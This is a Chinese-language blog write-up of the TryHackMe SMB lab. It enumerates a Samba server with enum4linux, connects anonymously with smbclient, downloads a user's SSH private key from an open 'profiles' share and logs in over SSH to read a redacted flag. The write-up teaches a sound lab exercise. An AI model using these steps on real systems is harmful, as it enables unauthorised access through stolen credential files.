> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Network Services 1  (SMB) writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-network-services-smb-writeup/
- Published: 2025-10-26T02:10:26.000Z
- Updated: 2026-07-15T02:50:06.000Z
- Author: Kevin Chen
- Tags: tryhackme, network services

📚 系列文章 · TryHackMe Network Services

1. ▸ Part 1：SMB （本篇）
2. [Part 2：SMTP](https://taiwanding.com/tryhackme-network-services-2-smtp-writeup-zh-tw/)
3. [Part 2：MySQL](https://taiwanding.com/tryhackme-network-services-mysql-writeup-zh-tw/)

說明: 這一個房間分成幾個部分，所以筆者希望分別記錄資訊\~

### **📋 目標資訊**

- **Target IP:** `10.201.x.x`
- **服務:** SMB (Samba on Ubuntu)
- **目標:** 透過 SMB 錯誤配置取得系統存取權限

### 1\. SMB 服務枚舉

使用 `enum4linux` 進行完整枚舉：

```bash
enum4linux -a 10.201.15.179

```

**關鍵發現：**

#### **系統資訊**

- 主機名稱: `POLOSMB`
- 作業系統: `Samba, Ubuntu`
- 工作群組: `WORKGROUP`

#### **共享資源列表**

```
Sharename       Type      Comment
---------       ----      -------
netlogon        Disk      Network Logon Service
profiles        Disk      Users profiles          ⬅️ 可疑！
print$          Disk      Printer Drivers
IPC$            IPC       IPC Service

```

#### **存取權限測試**

```
//10.201.15.179/profiles    Mapping: OK  Listing: OK  Writing: N/A

```

✅ **`profiles` 共享允許匿名存取！**

#### **密碼政策**

```
Minimum password length: 5
Password Complexity: Disabled
Account Lockout Threshold: None

```

⚠️ 密碼政策非常寬鬆

### 2\. 匿名存取 SMB 共享

使用 `smbclient` 以匿名身份連線：

```bash
smbclient //10.201.15.179/profiles -U Anonymous -N

```

列出共享內容：

```bash
smb: \> ls

```

**發現重要檔案：**

- 📄 `Working From Home Information.txt` \- 包含使用者資訊
- 📁 `.ssh/` \- SSH 金鑰目錄

### 3\. 取得敏感資料

#### **下載文字檔案：**

```bash
smb: \> get "Working From Home Information.txt"

```

#### **進入 .ssh 目錄並下載私鑰：**

```bash
smb: \> cd .ssh
smb: \.ssh\> ls
smb: \.ssh\> get id_rsa
smb: \.ssh\> exit

```

### 4\. 分析下載的檔案

查看文字檔內容（應該會顯示使用者名稱為 `cactus`）：

```bash
cat "Working From Home Information.txt"

```

設定 SSH 私鑰權限：

```bash
chmod 600 id_rsa

```

### 5\. SSH 登入

使用取得的 SSH 私鑰登入：

```bash
ssh -i id_rsa cactus@10.201.15.179

```

**成功登入！**

```
Welcome to Ubuntu 20.04.6 LTS
cactus@POLOSMB:~$

```

### **6\. 取得 Flag**

```bash
cactus@POLOSMB:~$ ls
smb.txt

cactus@POLOSMB:~$ cat smb.txt
THM{Redacted}

```

## 技術要點總結

- ✅ `enum4linux` \- SMB 枚舉
- ✅ `smbclient` \- SMB 客戶端存取
- ✅ SSH 金鑰認證
- ✅ Linux 檔案權限管理